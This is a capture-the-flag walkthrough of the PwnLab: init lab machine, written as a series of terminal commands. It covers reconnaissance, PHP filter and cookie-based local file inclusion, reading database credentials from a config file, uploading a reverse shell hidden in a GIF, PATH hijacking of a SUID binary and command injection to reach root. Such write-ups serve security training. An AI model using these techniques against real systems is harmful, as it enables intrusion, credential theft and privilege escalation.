PwnLab: init is meant to be an easy CTF challenge made by Claor with the end goal to get the flag contained in /root/flag.txt. My personal challenge for this CTF was to do it entirely in the terminal - no GUI tools. It appears to start off with a webpage containing a Login and an Upload page. I suspect that like a lot of challenges I have seen recently it is going to start at least with a web exploit of some type.

Start off with a quick netdiscover to find what IP address this VM is hiding on waiting to be hacked.

root@kali:~# netdiscover -i eth0 -r 10.0.2.4/24

Run a quick nmap to see what ports are open and ready to be probed. Testing with all scripts for any goodies.

root@kali:~# nmap -sSVC -p- 10.0.2.13

Since there is port 80 open with apache, we might as well spider and sqlmap the entire site for anything obious while we continue to take a look around. Just looking at MySQL issue since we can see there is a MySQL database from the NMAP scan.

root@kali:~# sqlmap -u "http://10.0.2.13/" --forms --batch --crawl=10 --level=5 --risk=3 --random-agent --dbms=MySQL

Nothing interesting found. A quick CURL call to the homepage gives some information. It is “PwnLab Intranet Image Hosting” with a login and upload page.

root@kali:~# curl -v "http://10.0.2.13/"

Seems like there are a couple of choices here. We could bruteforce the login or try to exploit the upload. Without being able to cut down the permutations on the login with a username, it looks like the upload might be the first thing to checkout. Unfortunately the upload page seems to be protected, requiring you to login first.

On a second look around there appears to be a local file inclusion on the page variable that it uses to load each pages content. After trying a few attempted to utilise it I finally found a good one using:

http://10.0.2.13/?page=php://filter/convert.base64-encode/resource=upload

Not only does this include a local file but it also base64 encodes it so we can read the source code.

root@kali:~# curl -s "http://10.0.2.13/?page=php://filter/convert.base64-encode/resource=upload" | grep -e '[^\ ]\{40,\}' | base64 -d

We can see the upload script checks for the following file types and puts them in the upload directory.

$whitelist = array(".jpg",".jpeg",".gif",".png");

Dirb showed there was a config file also, lets check that out.

root@kali:~# curl -s "http://10.0.2.13/?page=php://filter/convert.base64-encode/resource=config" | grep -e '[^\ ]\{40,\}' | base64 -d
<?php
$server   = "localhost";
$username = "root";
$password = "REMOVED";
$database = "Users";
?>

Great, we have some mysql login details. Next step is to see if we can connect directly to mysql and use them.

root@kali:~# mysql -h10.0.2.13 -uroot -p Users

There seems to only be a users table with fields for user and pass. All of the passwords jump out as being base64 which a quick command confirms. Now we should be able to use them to login to the website.

root@kali:~# curl -v -X POST -d "user=kent&pass=JWzXuBJJNy&submit=Login" "http://10.0.2.13/?page=login"

Success, now its just a matter of copying the PHPSESSID so we can use that for privileged access to the upload page.

root@kali:~# curl -v -b "PHPSESSID=o0gujk45afugl9goa3dcl6bgu3; path=/" "http://10.0.2.13/?page=upload"

Great, there is the upload form, lets upload a test file with GIF98<?php echo “testing”;

root@kali:~# curl -v -X POST -H "Content-Type: multipart/form-data" -F "file=@test.gif;submit" -F "submit=Upload" -b "PHPSESSID=o0gujk45afugl9goa3d; path=/" "http://10.0.2.13/?page=upload"

Unfortunately we don’t seem to able to execute any PHP code with any of the formats it allowed you to upload. Let’s take another look around.

root@kali:~# curl -s "http://10.0.2.13/?page=php://filter/convert.base64-encode/resource=index" | grep -e '[^\ ]\{40,\}' | base64 -d

Luckily there also appears to be an LFI on the index page using a cookie.

root@kali:~# curl -v "http://10.0.2.13/" -b "lang=../../../../../etc/passwd"

So now we can upload a file containing PHP code using the upload form and then execute it using the lang LFI. I decide to use these to pop a MSF PHP reverse shell. I upload a GIF with my reverse shell code inside, and use the COOKE LFI to run it.

Now to have a look around. Nothing that intersting, however passwd has the same users as was found in the DB.

Lets try them, first lets get a proper shell so I can run su.

root@kali:~# python -c 'import pty; pty.spawn("/bin/sh")'
root@kali:~# su - usernames

Ah ha, kane can login with the details from the MySQL database and has a SUID executeable owned by mike. A look with “strings msgmike” and it appears to be doing a system(‘cat /home/mike/msg.txt’). After a lot of messing around, a friend (thanks Bull) pointed out that cat doesn’t have path and could be manipulated. So I create a quick bash script to run my previous php reverse shell.

#!/bin/bash
php /tmp/daf280af792fd5b906511363ae2bc39d.gif

And update my PATH variable using:

root@kali:~# export PATH=~/cat:$PATH

Then I run it again and another shell is popped as user mike.

Mike has another SUID. A quick “strings msg2root” shows “/bin/echo %s » /root/messages.txt”. So a simple command like escape should do the trick.

So I run the executable and input “;php /tmp/daf280af792fd5b906511363ae2bc39d.gif;” and straight away I have another shell this time with root access. From there is was just a matter of looking at the /root/flag.txt file.

Special thanks to Bull (twitter) for point out the problem with the first SUID.